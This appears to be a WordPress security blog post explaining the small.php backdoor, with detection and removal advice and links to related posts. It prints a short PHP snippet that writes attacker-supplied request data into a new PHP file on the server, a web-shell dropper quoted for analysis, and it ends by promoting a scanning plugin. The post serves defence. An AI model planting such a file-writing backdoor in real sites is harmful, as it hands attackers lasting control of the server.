We will explain about small.php, a malware that has been expanding recently.

Small.php created in various folders on the WordPress server

This malware will generate backdoors in any folder on the server with the file name small.php. It may also be created in folders above the public html where the WordPress site data is located.

The example code is very simple

$f = fopen('random character'. .php', "w");
fputs($f,$_REQUEST['random character']);
fclose($f);

This is a type of malware called a backdoor that creates and stores programs sent via the Internet with random string names in the server.

Where did small.php get embedded from?

The fact that this file was generated on the server means that it was most likely hacked using a vulnerable plugin in WordPress, written by someone who had taken over administrative privileges, or written via other backdoors.

How to deal with small.php

In general, there is no small.php file in WordPress files.
Therefore, if you find a small.php file somewhere in your WordPress folder, you may suspect malware.

There have been cases where many of these files have been written to folders above the WordPress folder. This file cannot even be accessed externally, so if it is malware, we recommend that you delete it immediately.

Also,
Free WordPress:Malware Scan & Security Plug-in [Malware and Virus Detection and Removal]
to detect and remove Small.php malware.

Related Posts:

  1. Example of backdoor to plant malware code in $_HEADERS in WordPress
    We will explain about the type of backdoor that puts the main body of malware code in $_HEADERS, which has been increasingly detected in recent years....
  2. File names commonly seen these days in WordPress malware
    Here are some common malware (virus) file names that WordPress Doctor has discovered recently....
  3. Chinese Malware (Backdoors) Increased in WordPress
    Recently, Chinese malware (backdoor) has been spreading through WordPress. We will explain about this malware....
  4. What are the strongest permissions to prevent malware infection in WordPress?
    We will introduce the strongest file write permissions (permissions) to prevent malware infection in cases such as repeated malware infections in WordPress....
  5. Five types of malware embedded in WordPress
    Here are some of the types of malware embedded in WordPress that are common these days. If similar code is included in the site’s program, we suspect that WordPress has been hacked and tampered with....
  6. WordPress, dealing with spam indexing, where pages you don’t remember creating get caught in search results.
    We will explain how to deal with spam indexing, a common symptom of recent WordPress tampering, in which pages that you do not remember creating are caught in the search results....